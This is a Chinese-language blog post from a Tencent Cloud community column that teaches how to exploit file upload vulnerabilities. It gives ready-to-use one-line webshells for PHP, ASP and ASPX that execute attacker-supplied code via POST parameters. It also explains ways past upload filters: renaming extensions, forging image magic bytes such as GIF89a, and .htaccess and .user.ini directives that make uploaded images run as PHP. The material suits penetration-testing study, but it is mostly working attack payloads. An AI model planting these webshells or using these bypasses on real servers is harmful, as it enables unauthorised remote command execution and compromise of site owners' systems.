首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >关于文件上传那些事

关于文件上传那些事

作者头像
TomatoCool
发布2023-07-30 17:14:25
发布2023-07-30 17:14:25
5550
举报
文章被收录于专栏:TomatoCoolTomatoCool

如果一个网站允许上传文件,并且允许用户去访问这个文件,那么就可能存在文件上传漏洞。 当我们上传一个php文件并访问,那么这个php文件中的恶意代码将会被执行,我们的目的就是通过构造这个恶意代码,获取我们想要的信息,或执行我们想要的操作。例如下面这行代码:

代码语言:javascript
复制
<?php @eval($_POST['a']) ?>

当我们用Post请求上传“ a='ls' ”后,页面就会返回'ls'的结果,同理我们可以构造其他我们想利用的代码。

在实际情况中很多服务器都有过滤机制,下面是一些常用的绕过技巧:

1. 由于php文件的特性,就算php文件的后缀名不是.php,一般的浏览器还是会将它当成php文件执行,我们可以修改文件的后缀名(png,jpg等)来绕过某些过滤机制。

2. 一句话木马的形式并不是唯一的,有以下几个变种,当第一种行不通时可以尝试其它的形式。 PHP一句话木马:

代码语言:javascript
复制
<?php @eval($_POST['a']) ?>

<script language="php">eval($_POST['a']);</script>

ASP一句话木马:

代码语言:javascript
复制
<%eval request (“a”)%>

ASPX一句话木马:

代码语言:javascript
复制
 <%@ Page Language=“Jscript”%> <%eval(Request.Item[“a”],“unsafe”);%>

3. 有些网站可能会检测文件头是否合法,这时可以添加文件头进行绕过。 用16进制编辑器添加文件头:

  • jpg : FF D8 FF
  • png : 89 50 4E 47
  • gif : 47 49 46 38
  • xml : 3C 3F 78 6D 6C
  • html : 68 74 6D 6C 3E
  • zip : 50 4B 03 04
  • rar : 52 61 72 21
  • pdf : 25 50 44 46 2D 31 2E
  • xls,doc : D0 CF 11 E0

或者直接使用文本编辑器在开头加入GIF89a,来构造一个虚假的图片,可以绕过getimagesize()函数。

4. 有时文件上传成功后,访问并不能执行里面的脚本,可能还要上传.hatccess文件或者.user.ini文件使木马能够被解析。其中.hatccess只适用于apache,而.user.ini适用于大多数服务器。

.hatccess: 将png文件解析为php文件

代码语言:javascript
复制
AddType application/x-httpd-php .png

将文件名含有字母“a”的文件解析为php文件

代码语言:javascript
复制
<FilesMatch "a"> 
SetHandler application/x-httpd-php 
</FilesMatch>

.user.ini: 当服务器的脚本语言为php,且上传目录中有php文件时,可以尝试.user.ini进行绕过。一般脚本形式为:

代码语言:javascript
复制
//绕过exif_imagetype()
GIF89a
//指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_prepend_file=a.jpg
//解析后进行包含
auto_append_file=a.jpg
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022 年 12 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档